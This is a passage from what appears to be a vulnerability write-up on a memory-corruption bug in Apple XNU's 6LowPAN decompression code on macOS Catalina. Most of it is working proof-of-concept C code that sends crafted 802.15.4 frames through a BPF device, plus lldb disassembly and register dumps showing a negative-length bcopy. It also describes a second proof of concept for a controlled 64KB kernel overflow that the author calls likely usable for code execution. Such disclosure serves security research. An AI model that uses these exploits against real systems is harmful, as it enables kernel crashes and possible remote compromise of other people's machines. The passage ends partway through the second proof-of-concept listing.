    <span class="kt">ssize_t</span> <span class="n">bytes_sent</span><span class="p">;</span>
    <span class="n">bytes_sent</span> <span class="o">=</span> <span class="n">write</span><span class="p">(</span><span class="n">bpf</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">frame</span><span class="p">,</span> <span class="n">frame</span><span class="p">.</span><span class="n">len</span><span class="p">);</span>
    <span class="k">if</span><span class="p">(</span><span class="n">bytes_sent</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    	<span class="n">printf</span><span class="p">(</span><span class="s">"Bytes sent: %ld</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">bytes_sent</span><span class="p">);</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
    	<span class="n">perror</span><span class="p">(</span><span class="s">"Error sending frame"</span><span class="p">);</span>
    	<span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
	<span class="kt">char</span><span class="o">*</span> <span class="n">interface</span> <span class="o">=</span> <span class="s">"en0"</span><span class="p">;</span>

	<span class="kt">int</span> <span class="n">bpf</span><span class="p">;</span>
	<span class="n">bpf</span> <span class="o">=</span> <span class="n">open_bpf_device</span><span class="p">();</span>
	<span class="n">assoc_dev</span><span class="p">(</span><span class="n">bpf</span><span class="p">,</span> <span class="n">interface</span><span class="p">);</span>
	<span class="n">write_single_frame</span><span class="p">(</span><span class="n">bpf</span><span class="p">);</span>

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span> 
<span class="p">}</span>  
</code></pre></div></div>

<p>In the POC 1 code below I have caused 1 - 3 = -2 to trigger a huge write to make the issue obvious to spot.</p>

<p>We can confirm this with the following debug output:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(</span><span class="n">lldb</span><span class="p">)</span> <span class="n">disas</span>
<span class="n">kernel</span><span class="err">`</span><span class="n">sixxlowpan_uncompress</span><span class="o">:</span>
    <span class="mh">0xffffff8003ffa0b0</span> <span class="o">&lt;+</span><span class="mi">0</span><span class="o">&gt;:</span>   <span class="n">push</span>   <span class="n">rbp</span>
    <span class="mh">0xffffff8003ffa0b1</span> <span class="o">&lt;+</span><span class="mi">1</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rbp</span><span class="p">,</span> <span class="n">rsp</span>
    <span class="mh">0xffffff8003ffa0b4</span> <span class="o">&lt;+</span><span class="mi">4</span><span class="o">&gt;:</span>   <span class="n">push</span>   <span class="n">r15</span>
    <span class="mh">0xffffff8003ffa0b6</span> <span class="o">&lt;+</span><span class="mi">6</span><span class="o">&gt;:</span>   <span class="n">push</span>   <span class="n">r14</span>
    <span class="mh">0xffffff8003ffa0b8</span> <span class="o">&lt;+</span><span class="mi">8</span><span class="o">&gt;:</span>   <span class="n">push</span>   <span class="n">r13</span>
    <span class="mh">0xffffff8003ffa0ba</span> <span class="o">&lt;+</span><span class="mi">10</span><span class="o">&gt;:</span>  <span class="n">push</span>   <span class="n">r12</span>
    <span class="mh">0xffffff8003ffa0bc</span> <span class="o">&lt;+</span><span class="mi">12</span><span class="o">&gt;:</span>  <span class="n">push</span>   <span class="n">rbx</span>
    <span class="mh">0xffffff8003ffa0bd</span> <span class="o">&lt;+</span><span class="mi">13</span><span class="o">&gt;:</span>  <span class="n">sub</span>    <span class="n">rsp</span><span class="p">,</span> <span class="mh">0x98</span>
    <span class="mh">0xffffff8003ffa0c4</span> <span class="o">&lt;+</span><span class="mi">20</span><span class="o">&gt;:</span>  <span class="n">mov</span>    <span class="n">r15</span><span class="p">,</span> <span class="n">rsi</span>
    <span class="mh">0xffffff8003ffa0c7</span> <span class="o">&lt;+</span><span class="mi">23</span><span class="o">&gt;:</span>  <span class="n">mov</span>    <span class="n">r14</span><span class="p">,</span> <span class="n">rdi</span>
    <span class="mh">0xffffff8003ffa0ca</span> <span class="o">&lt;+</span><span class="mi">26</span><span class="o">&gt;:</span>  <span class="n">lea</span>    <span class="n">rax</span><span class="p">,</span> <span class="p">[</span><span class="n">rip</span> <span class="o">+</span> <span class="mh">0x4a1f9f</span><span class="p">]</span>     <span class="p">;</span> <span class="n">__stack_chk_guard</span>
    <span class="mh">0xffffff8003ffa0d1</span> <span class="o">&lt;+</span><span class="mi">33</span><span class="o">&gt;:</span>  <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span> <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rax</span><span class="p">]</span>
    <span class="mh">0xffffff8003ffa0d4</span> <span class="o">&lt;+</span><span class="mi">36</span><span class="o">&gt;:</span>  <span class="n">mov</span>    <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mh">0x30</span><span class="p">],</span> <span class="n">rax</span>
    <span class="mh">0xffffff8003ffa0d8</span> <span class="o">&lt;+</span><span class="mi">40</span><span class="o">&gt;:</span>  <span class="n">int3</span>   
    <span class="mh">0xffffff8003ffa0d9</span> <span class="o">&lt;+</span><span class="mi">41</span><span class="o">&gt;:</span>  <span class="n">mov</span>    <span class="n">dword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mh">0xc0</span><span class="p">],</span> <span class="mh">0x0</span>
    <span class="mh">0xffffff8003ffa0e3</span> <span class="o">&lt;+</span><span class="mi">51</span><span class="o">&gt;:</span>  <span class="n">mov</span>    <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mh">0x38</span><span class="p">],</span> <span class="mh">0x0</span>
    <span class="mh">0xffffff8003ffa0eb</span> <span class="o">&lt;+</span><span class="mi">59</span><span class="o">&gt;:</span>  <span class="n">mov</span>    <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mh">0x40</span><span class="p">],</span> <span class="mh">0x0</span>
    <span class="mh">0xffffff8003ffa0f3</span> <span class="o">&lt;+</span><span class="mi">67</span><span class="o">&gt;:</span>  <span class="n">mov</span>    <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mh">0x48</span><span class="p">],</span> <span class="mh">0x0</span>
    <span class="mh">0xffffff8003ffa0fb</span> <span class="o">&lt;+</span><span class="mi">75</span><span class="o">&gt;:</span>  <span class="n">mov</span>    <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mh">0x50</span><span class="p">],</span> <span class="mh">0x0</span>
    <span class="mh">0xffffff8003ffa103</span> <span class="o">&lt;+</span><span class="mi">83</span><span class="o">&gt;:</span>  <span class="n">mov</span>    <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mh">0x58</span><span class="p">],</span> <span class="mh">0x0</span>
    <span class="mh">0xffffff8003ffa10b</span> <span class="o">&lt;+</span><span class="mi">91</span><span class="o">&gt;:</span>  <span class="n">mov</span>    <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mh">0x60</span><span class="p">],</span> <span class="mh">0x0</span>
    <span class="mh">0xffffff8003ffa113</span> <span class="o">&lt;+</span><span class="mi">99</span><span class="o">&gt;:</span>  <span class="n">mov</span>    <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mh">0x68</span><span class="p">],</span> <span class="mh">0x0</span>
    <span class="mh">0xffffff8003ffa11b</span> <span class="o">&lt;+</span><span class="mi">107</span><span class="o">&gt;:</span> <span class="n">mov</span>    <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mh">0x70</span><span class="p">],</span> <span class="mh">0x0</span>
    <span class="mh">0xffffff8003ffa123</span> <span class="o">&lt;+</span><span class="mi">115</span><span class="o">&gt;:</span> <span class="n">mov</span>    <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mh">0x78</span><span class="p">],</span> <span class="mh">0x0</span>
    <span class="mh">0xffffff8003ffa12b</span> <span class="o">&lt;+</span><span class="mi">123</span><span class="o">&gt;:</span> <span class="n">mov</span>    <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mh">0x80</span><span class="p">],</span> <span class="mh">0x0</span>
    <span class="mh">0xffffff8003ffa133</span> <span class="o">&lt;+</span><span class="mi">131</span><span class="o">&gt;:</span> <span class="n">mov</span>    <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mh">0x88</span><span class="p">],</span> <span class="mh">0x0</span>
    <span class="mh">0xffffff8003ffa13e</span> <span class="o">&lt;+</span><span class="mi">142</span><span class="o">&gt;:</span> <span class="n">mov</span>    <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mh">0x90</span><span class="p">],</span> <span class="mh">0x0</span>
    <span class="mh">0xffffff8003ffa149</span> <span class="o">&lt;+</span><span class="mi">153</span><span class="o">&gt;:</span> <span class="n">mov</span>    <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mh">0x98</span><span class="p">],</span> <span class="mh">0x0</span>
    <span class="mh">0xffffff8003ffa154</span> <span class="o">&lt;+</span><span class="mi">164</span><span class="o">&gt;:</span> <span class="n">mov</span>    <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mh">0xa0</span><span class="p">],</span> <span class="mh">0x0</span>
    <span class="mh">0xffffff8003ffa15f</span> <span class="o">&lt;+</span><span class="mi">175</span><span class="o">&gt;:</span> <span class="n">mov</span>    <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mh">0xa8</span><span class="p">],</span> <span class="mh">0x0</span>
    <span class="mh">0xffffff8003ffa16a</span> <span class="o">&lt;+</span><span class="mi">186</span><span class="o">&gt;:</span> <span class="n">mov</span>    <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mh">0xb0</span><span class="p">],</span> <span class="mh">0x0</span>
    <span class="mh">0xffffff8003ffa175</span> <span class="o">&lt;+</span><span class="mi">197</span><span class="o">&gt;:</span> <span class="n">lea</span>    <span class="n">rbx</span><span class="p">,</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mh">0xb0</span><span class="p">]</span>
    <span class="mh">0xffffff8003ffa17c</span> <span class="o">&lt;+</span><span class="mi">204</span><span class="o">&gt;:</span> <span class="n">mov</span>    <span class="n">esi</span><span class="p">,</span> <span class="mh">0x80</span>
    <span class="mh">0xffffff8003ffa181</span> <span class="o">&lt;+</span><span class="mi">209</span><span class="o">&gt;:</span> <span class="n">mov</span>    <span class="n">rdi</span><span class="p">,</span> <span class="n">rbx</span>
    <span class="mh">0xffffff8003ffa184</span> <span class="o">&lt;+</span><span class="mi">212</span><span class="o">&gt;:</span> <span class="n">call</span>   <span class="mh">0xffffff80039980f0</span>        <span class="p">;</span> <span class="n">bzero</span>

    <span class="mh">0xffffff8003ffa189</span> <span class="o">&lt;+</span><span class="mi">217</span><span class="o">&gt;:</span> <span class="n">mov</span>    <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mh">0xb8</span><span class="p">],</span> <span class="mh">0x80</span>
    <span class="mh">0xffffff8003ffa194</span> <span class="o">&lt;+</span><span class="mi">228</span><span class="o">&gt;:</span> <span class="n">lea</span>    <span class="n">rcx</span><span class="p">,</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mh">0xc0</span><span class="p">]</span>
    <span class="mh">0xffffff8003ffa19b</span> <span class="o">&lt;+</span><span class="mi">235</span><span class="o">&gt;:</span> <span class="n">lea</span>    <span class="n">r8</span><span class="p">,</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mh">0xb8</span><span class="p">]</span>
    <span class="mh">0xffffff8003ffa1a2</span> <span class="o">&lt;+</span><span class="mi">242</span><span class="o">&gt;:</span> <span class="n">mov</span>    <span class="n">rdi</span><span class="p">,</span> <span class="n">r14</span>
    <span class="mh">0xffffff8003ffa1a5</span> <span class="o">&lt;+</span><span class="mi">245</span><span class="o">&gt;:</span> <span class="n">mov</span>    <span class="n">rsi</span><span class="p">,</span> <span class="n">r15</span>
    <span class="mh">0xffffff8003ffa1a8</span> <span class="o">&lt;+</span><span class="mi">248</span><span class="o">&gt;:</span> <span class="n">xor</span>    <span class="n">edx</span><span class="p">,</span> <span class="n">edx</span>
    <span class="mh">0xffffff8003ffa1aa</span> <span class="o">&lt;+</span><span class="mi">250</span><span class="o">&gt;:</span> <span class="n">mov</span>    <span class="n">r9</span><span class="p">,</span> <span class="n">rbx</span>
    <span class="mh">0xffffff8003ffa1ad</span> <span class="o">&lt;+</span><span class="mi">253</span><span class="o">&gt;:</span> <span class="n">call</span>   <span class="mh">0xffffff8003ff9d70</span>        <span class="p">;</span> <span class="n">uncompress_hdr_hc1</span> <span class="n">at</span> <span class="n">sixxlowpan</span><span class="p">.</span><span class="n">c</span><span class="o">:</span><span class="mi">679</span>

    <span class="mh">0xffffff8003ffa1b2</span> <span class="o">&lt;+</span><span class="mi">258</span><span class="o">&gt;:</span> <span class="n">mov</span>    <span class="n">ebx</span><span class="p">,</span> <span class="n">eax</span>
    <span class="mh">0xffffff8003ffa1b4</span> <span class="o">&lt;+</span><span class="mi">260</span><span class="o">&gt;:</span> <span class="n">test</span>   <span class="n">eax</span><span class="p">,</span> <span class="n">eax</span>
    <span class="mh">0xffffff8003ffa1b6</span> <span class="o">&lt;+</span><span class="mi">262</span><span class="o">&gt;:</span> <span class="n">jne</span>    <span class="mh">0xffffff8003ffa210</span>        <span class="p">;</span> <span class="o">&lt;+</span><span class="mi">352</span><span class="o">&gt;</span> <span class="n">at</span> <span class="n">sixxlowpan</span><span class="p">.</span><span class="n">c</span>
    <span class="mh">0xffffff8003ffa1b8</span> <span class="o">&lt;+</span><span class="mi">264</span><span class="o">&gt;:</span> <span class="n">mov</span>    <span class="n">r13</span><span class="p">,</span> <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mh">0xc0</span><span class="p">]</span>
    <span class="mh">0xffffff8003ffa1bf</span> <span class="o">&lt;+</span><span class="mi">271</span><span class="o">&gt;:</span> <span class="n">mov</span>    <span class="n">r12</span><span class="p">,</span> <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mh">0xb8</span><span class="p">]</span>
    <span class="mh">0xffffff8003ffa1c6</span> <span class="o">&lt;+</span><span class="mi">278</span><span class="o">&gt;:</span> <span class="n">lea</span>    <span class="n">rsi</span><span class="p">,</span> <span class="p">[</span><span class="n">r15</span> <span class="o">+</span> <span class="n">r12</span><span class="p">]</span>
    <span class="mh">0xffffff8003ffa1ca</span> <span class="o">&lt;+</span><span class="mi">282</span><span class="o">&gt;:</span> <span class="n">test</span>   <span class="n">r13</span><span class="p">,</span> <span class="n">r13</span>                  
    <span class="mh">0xffffff8003ffa1cd</span> <span class="o">&lt;+</span><span class="mi">285</span><span class="o">&gt;:</span> <span class="n">js</span>     <span class="mh">0xffffff8003ffa1fa</span>        <span class="p">;</span> <span class="o">&lt;+</span><span class="mi">330</span><span class="o">&gt;</span> <span class="n">at</span> <span class="n">sixxlowpan</span><span class="p">.</span><span class="n">c</span><span class="o">:</span><span class="mi">841</span><span class="o">:</span><span class="mi">3</span>

    <span class="mh">0xffffff8003ffa1cf</span> <span class="o">&lt;+</span><span class="mi">287</span><span class="o">&gt;:</span> <span class="n">lea</span>    <span class="n">rdi</span><span class="p">,</span> <span class="p">[</span><span class="n">r15</span> <span class="o">+</span> <span class="n">r13</span><span class="p">]</span>
    <span class="mh">0xffffff8003ffa1d3</span> <span class="o">&lt;+</span><span class="mi">291</span><span class="o">&gt;:</span> <span class="n">movsxd</span> <span class="n">rdx</span><span class="p">,</span> <span class="n">dword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">r14</span> <span class="o">+</span> <span class="mh">0x34</span><span class="p">]</span>
    <span class="mh">0xffffff8003ffa1d7</span> <span class="o">&lt;+</span><span class="mi">295</span><span class="o">&gt;:</span> <span class="n">int3</span>   
    <span class="mh">0xffffff8003ffa1d8</span> <span class="o">&lt;+</span><span class="mi">296</span><span class="o">&gt;:</span> <span class="n">sub</span>    <span class="n">edx</span><span class="p">,</span> <span class="n">ebp</span>
<span class="o">-&gt;</span>  <span class="mh">0xffffff8003ffa1da</span> <span class="o">&lt;+</span><span class="mi">298</span><span class="o">&gt;:</span> <span class="n">call</span>   <span class="mh">0xffffff8003998070</span>        <span class="p">;</span> <span class="n">bcopy</span>


<span class="p">(</span><span class="n">lldb</span><span class="p">)</span> <span class="k">register</span> <span class="n">read</span> 
<span class="n">General</span> <span class="n">Purpose</span> <span class="n">Registers</span><span class="o">:</span>
       <span class="n">rax</span> <span class="o">=</span> <span class="mh">0x0000000000000000</span>
       <span class="n">rbx</span> <span class="o">=</span> <span class="mh">0x0000000000000000</span>
       <span class="n">rcx</span> <span class="o">=</span> <span class="mh">0xffffff80669e3d28</span>
       <span class="n">rdx</span> <span class="o">=</span> <span class="mh">0xfffffffffffffffe</span>
       <span class="n">rdi</span> <span class="o">=</span> <span class="mh">0xffffff80602e1806</span>
       <span class="n">rsi</span> <span class="o">=</span> <span class="mh">0xffffff80602e182b</span>
       <span class="n">rbp</span> <span class="o">=</span> <span class="mh">0xffffff80669e3cf0</span>
       <span class="n">rsp</span> <span class="o">=</span> <span class="mh">0xffffff80669e3c30</span>
        <span class="n">r8</span> <span class="o">=</span> <span class="mh">0xffffff80669e3c38</span>
        <span class="n">r9</span> <span class="o">=</span> <span class="mh">0xffffff80669e3c40</span>
       <span class="n">r10</span> <span class="o">=</span> <span class="mh">0x0000000000000000</span>
       <span class="n">r11</span> <span class="o">=</span> <span class="mh">0x0000000000000003</span>
       <span class="n">r12</span> <span class="o">=</span> <span class="mh">0x0000000000000028</span>
       <span class="n">r13</span> <span class="o">=</span> <span class="mh">0x0000000000000003</span>
       <span class="n">r14</span> <span class="o">=</span> <span class="mh">0xffffff80669e3d28</span>
       <span class="n">r15</span> <span class="o">=</span> <span class="mh">0xffffff80602e1803</span>
       <span class="n">rip</span> <span class="o">=</span> <span class="mh">0xffffff8003ffa1da</span>  <span class="n">kernel</span><span class="err">`</span><span class="n">sixxlowpan_uncompress</span> <span class="o">+</span> <span class="mi">298</span> <span class="p">[</span><span class="n">inlined</span><span class="p">]</span> <span class="n">memmove</span> <span class="n">at</span> <span class="n">subrs</span><span class="p">.</span><span class="n">c</span><span class="o">:</span><span class="mi">703</span>
  <span class="n">kernel</span><span class="err">`</span><span class="n">sixxlowpan_uncompress</span> <span class="o">+</span> <span class="mi">298</span> <span class="p">[</span><span class="n">inlined</span><span class="p">]</span> <span class="n">__memmove_chk</span> <span class="n">at</span> <span class="n">sixxlowpan</span><span class="p">.</span><span class="n">c</span><span class="o">:</span><span class="mi">853</span>
  <span class="n">kernel</span><span class="err">`</span><span class="n">sixxlowpan_uncompress</span> <span class="o">+</span> <span class="mi">298</span> <span class="n">at</span> <span class="n">sixxlowpan</span><span class="p">.</span><span class="n">c</span><span class="o">:</span><span class="mi">853</span>
    <span class="n">rflags</span> <span class="o">=</span> <span class="mh">0x0000000000000393</span>
        <span class="n">cs</span> <span class="o">=</span> <span class="mh">0x0000000000000008</span>
        <span class="n">fs</span> <span class="o">=</span> <span class="mh">0x00000000ffff0000</span>
        <span class="n">gs</span> <span class="o">=</span> <span class="mh">0x00000000669e0000</span>

</code></pre></div></div>

<h2 id="poc-2---overflow">POC 2 - Overflow</h2>

<p>However, we can trigger much more controlled memory corruptions with large payload sizes which also could likely be used for code execution.</p>

<p>For example, using the following parameters:</p>

<p><code class="language-plaintext highlighter-rouge">len = 0xffff</code></p>

<p><code class="language-plaintext highlighter-rouge">pf-&gt;payload_len = (0xffff - 3);</code>
<code class="language-plaintext highlighter-rouge">= 65532</code>
<code class="language-plaintext highlighter-rouge">pf-&gt;payload_len = 0xfffc</code></p>

<p>This ends up with the memmove performing a write at payload + 40, of the data sourced by an attacker, of size 0xfffc-40 = (0xfff9) 65529.</p>

<p>POC 2 demonstrates this:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/***

Apple XNU 6LowPAN POC
Catalina 10.15.4

POC 2: Write 0xffd4 bytes - overflow

Run this on target machine (or local system if testing locally):
sudo ifconfig 6lowpan create
sudo ifconfig 6lowpan0 up
sudo ifconfig 6lowpan0 6lowpansetdev en0

***/</span>

<span class="cp">#include</span> <span class="cpf">&lt;sys/types.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/uio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;fcntl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/ioctl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/socket.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;arpa/inet.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;net/if.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;net/ethernet.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;net/bpf.h&gt;</span><span class="cp">
</span>
<span class="c1">// Set these to source and target </span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">dest_mac</span><span class="p">[</span><span class="n">ETHER_ADDR_LEN</span><span class="p">]</span>  <span class="o">=</span> <span class="p">{</span><span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">src_mac</span><span class="p">[</span><span class="n">ETHER_ADDR_LEN</span><span class="p">]</span>  <span class="o">=</span> <span class="p">{</span><span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">};</span>

<span class="k">struct</span> <span class="n">frame_t</span> <span class="p">{</span>
	<span class="k">struct</span> <span class="n">ether_header</span> <span class="n">header</span><span class="p">;</span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">payload</span><span class="p">[</span><span class="n">ETHER_MAX_LEN</span> <span class="o">-</span> <span class="n">ETHER_HDR_LEN</span><span class="p">];</span>
	<span class="kt">ssize_t</span> <span class="n">len</span><span class="p">;</span>
	<span class="kt">ssize_t</span> <span class="n">payload_len</span><span class="p">;</span>
<span class="p">};</span>

<span class="c1">// Open bpf device</span>
<span class="kt">int</span> <span class="nf">open_bpf_device</span><span class="p">()</span>
<span class="p">{</span>
	<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">11</span><span class="p">]</span> <span class="o">=</span> <span class="p">{};</span>
	<span class="kt">int</span> <span class="n">bpf</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">99</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="n">sprintf</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span><span class="s">"/dev/bpf%i"</span><span class="p">,</span><span class="n">i</span><span class="p">);</span>
		<span class="n">bpf</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span><span class="n">O_RDWR</span><span class="p">);</span>
		<span class="k">if</span><span class="p">(</span> <span class="n">bpf</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span> <span class="p">)</span> <span class="p">{</span>
			<span class="n">printf</span><span class="p">(</span><span class="s">"Opened device /dev/bpf%i</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">i</span><span class="p">);</span>
			<span class="k">break</span><span class="p">;</span> 
		<span class="p">}</span>
	<span class="p">}</span>
	<span class="k">if</span><span class="p">(</span><span class="n">bpf</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"Cannot open any /dev/bpf* device, exiting</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
		<span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span> 
	<span class="p">}</span>
	<span class="k">return</span> <span class="n">bpf</span><span class="p">;</span> 
<span class="p">}</span>

<span class="c1">// Associate device</span>
<span class="kt">void</span> <span class="nf">assoc_dev</span><span class="p">(</span><span class="kt">int</span> <span class="n">bpf</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">interface</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">struct</span> <span class="n">ifreq</span> <span class="n">bound_if</span><span class="p">;</span>
	<span class="n">strcpy</span><span class="p">(</span><span class="n">bound_if</span><span class="p">.</span><span class="n">ifr_name</span><span class="p">,</span> <span class="n">interface</span><span class="p">);</span>
	<span class="k">if</span><span class="p">(</span><span class="n">ioctl</span><span class="p">(</span> <span class="n">bpf</span><span class="p">,</span> <span class="n">BIOCSETIF</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">bound_if</span> <span class="p">)</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"Cannot bind bpf device to physical device %s, exiting</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">interface</span><span class="p">);</span>
		<span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
	<span class="p">}</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"Bound bpf device to physical device %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">interface</span><span class="p">);</span>
<span class="p">}</span>

<span class="c1">// Write trigger frame</span>
<span class="kt">void</span> <span class="nf">write_single_frame</span><span class="p">(</span><span class="kt">int</span> <span class="n">bpf</span><span class="p">)</span> 
<span class="p">{</span>
	<span class="kt">ssize_t</span> <span class="n">data_length</span> <span class="o">=</span> <span class="mi">32</span><span class="p">;</span>

	<span class="k">struct</span> <span class="n">frame_t</span> <span class="n">frame</span><span class="p">;</span>
	<span class="n">memcpy</span><span class="p">(</span><span class="n">frame</span><span class="p">.</span><span class="n">header</span><span class="p">.</span><span class="n">ether_dhost</span><span class="p">,</span> <span class="n">dest_mac</span><span class="p">,</span> <span class="n">ETHER_HDR_LEN</span><span class="p">);</span>
	<span class="n">memcpy</span><span class="p">(</span><span class="n">frame</span><span class="p">.</span><span class="n">header</span><span class="p">.</span><span class="n">ether_shost</span><span class="p">,</span> <span class="n">src_mac</span><span class="p">,</span> <span class="n">ETHER_HDR_LEN</span><span class="p">);</span>

	<span class="c1">//  802.15.4 frame type. </span>
	<span class="n">frame</span><span class="p">.</span><span class="n">header</span><span class="p">.</span><span class="n">ether_type</span> <span class="o">=</span> <span class="mh">0x908</span><span class="p">;</span>
	<span class="n">frame</span><span class="p">.</span><span class="n">len</span> <span class="o">=</span> <span class="p">(</span><span class="mi">2</span><span class="o">*</span><span class="n">ETHER_ADDR_LEN</span><span class="p">)</span> <span class="o">+</span> <span class="n">ETHER_TYPE_LEN</span> <span class="o">+</span> <span class="n">data_length</span><span class="p">;</span>

	<span class="c1">// Length of frame - memcpy(&amp;len, mtod(m, u_int8_t *), sizeof(u_int16_t)); len = ntohs(len);</span>
	<span class="n">frame</span><span class="p">.</span><span class="n">payload</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xff</span><span class="p">;</span>
	<span class="n">frame</span><span class="p">.</span><span class="n">payload</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xff</span><span class="p">;</span>

	<span class="c1">// This is the start of the "data" passed to frame802154_parse and considered frame header </span>
	<span class="c1">// m_adj(m, sizeof(u_int16_t)); mtod(mc, uint8_t *)</span>
	<span class="c1">// These are used for the FCF (no flags set)</span>
	<span class="n">frame</span><span class="p">.</span><span class="n">payload</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">frame</span><span class="p">.</span><span class="n">payload</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
